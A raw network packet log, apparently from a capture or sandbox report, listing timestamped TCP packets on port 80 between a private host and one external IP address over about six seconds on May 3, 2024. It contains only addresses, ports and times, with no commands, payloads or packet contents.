May 3, 2024 23:27:36.034030914 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.034090042 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.035207987 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.035341024 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.035391092 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.086467028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.086533070 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.086586952 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.132018089 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.132167101 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.132225990 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.185023069 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.185142994 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.185287952 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.202816963 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.202899933 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.202945948 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.204488993 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.204708099 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.204757929 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.257550001 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.257716894 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.257770061 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.296951056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.297008038 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.297243118 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.353926897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.353965044 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.354018927 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.373908997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.373990059 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.374046087 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.375844002 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.375900030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.375941038 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.424006939 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.424051046 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.424146891 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.462661028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.462677002 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.462778091 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.518585920 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.518862963 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.518929005 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.538542032 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.538554907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.538619041 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.540239096 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.540254116 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.540294886 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.593043089 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.593059063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.593116999 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.630570889 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.630585909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.630700111 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.684842110 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.684984922 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.685049057 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.704380035 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.704438925 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.704524040 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.705671072 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.705873966 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.705950022 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.760811090 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.760906935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.760948896 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.797485113 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.797535896 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.797588110 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.850992918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.851030111 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.851079941 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.872162104 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.873439074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.873452902 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.873547077 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.931595087 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.931652069 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.931667089 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.931706905 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.971055031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.971170902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:36.971194983 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:36.971298933 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.025954962 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.026071072 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.026101112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.026206017 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.044878960 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.044920921 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.044958115 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.045027971 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.045049906 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.045099020 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.100354910 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.100438118 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.105164051 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.105215073 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.142177105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.142190933 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.142244101 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.142262936 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.196157932 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.196222067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.215441942 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.215455055 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.215512037 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.215536118 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.265736103 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.271122932 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.271220922 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.312611103 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.312624931 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.312670946 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.360804081 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.385231018 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.385277987 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.435554028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.435569048 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.435631037 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.435657024 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.435672045 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.435709000 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.477289915 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.477317095 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.477494001 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.552062035 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.552082062 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.552169085 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.602946997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.602961063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.602972984 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.602986097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.603013039 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.603037119 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.644942045 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.644956112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.645020962 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.772996902 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.773011923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.773112059 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.814308882 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.814371109 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.814395905 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.814456940 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.814891100 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.814934015 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.944401026 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.944454908 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.984466076 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.984514952 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:37.985102892 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:37.985152960 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.114228964 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.114243984 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.114304066 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.155083895 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.155137062 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.155780077 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.155841112 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.281255960 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.281297922 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.281469107 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.323659897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.323710918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.323795080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.324071884 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.324151993 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.324166059 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.324201107 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.374934912 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.446130037 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.446187973 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.446319103 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.489334106 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.489425898 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.489485979 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.489574909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.489659071 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.489706039 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.539446115 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.539494991 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.539552927 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.615957022 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.616025925 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.616086960 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.656682968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.656914949 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.656975031 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.657155037 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.657247066 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.657295942 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.707456112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.707578897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.707631111 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.787132978 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.828058004 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.828244925 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.828263998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.828316927 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.828936100 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.828984976 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.829077005 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.829121113 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.877779007 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.877794027 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.877844095 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.992866039 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.992882967 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.992897987 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.992929935 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.992954969 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.993531942 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:38.993592024 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:38.993665934 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.046765089 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.163177967 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.163233042 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.214138031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.214185953 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.214237928 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.214260101 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.333395958 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.333457947 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.387952089 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.388021946 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.388051987 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.388130903 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.498292923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.546787977 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.552769899 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.552829027 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.552875042 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.713277102 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.719302893 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.719348907 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.719388962 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.719465017 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.719508886 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:39.888767958 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.888803005 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:39.888936996 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.053391933 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.053483009 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.053514004 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.053591967 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.221342087 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.221359015 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.221425056 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.386663914 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.386702061 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.386745930 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.386751890 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.437536001 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.557820082 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.557845116 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.558032036 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.605231047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.605243921 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.605313063 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.724145889 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.724165916 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.724246979 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.774844885 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.774867058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.774946928 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.891144037 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.891217947 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.891275883 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:40.944169044 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.944185019 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:40.944242001 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.056193113 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.056232929 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.056277037 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.113009930 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.113050938 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.113101959 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.223651886 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.223670959 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.223720074 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.278770924 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.278784990 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.278851986 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.388813019 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.388829947 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.388921022 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.443547010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.443593025 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.443640947 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.443651915 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.484262943 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.556437016 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.556622028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.556678057 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.615284920 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.615341902 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.615386963 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.650382996 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.703011990 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.721591949 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.721606970 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.721688032 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.780613899 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.780630112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.780687094 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.867800951 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.867901087 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.868015051 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.886338949 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.886370897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.886420965 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:41.946089029 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.946253061 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:41.946306944 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.039069891 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.039086103 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.039143085 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.057923079 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.058042049 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.058237076 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.116663933 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.116677046 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.116688967 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.116729975 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.158319950 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.209595919 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.209610939 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.209683895 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.229537964 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.281157970 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.286211014 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.286226034 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.286277056 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.322990894 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.323132038 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.375534058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.375591993 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.375619888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.375662088 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.445523977 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.445566893 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.445660114 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.445874929 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.451903105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.452012062 CEST	49730	80	192.168.2.4	185.164.163.18
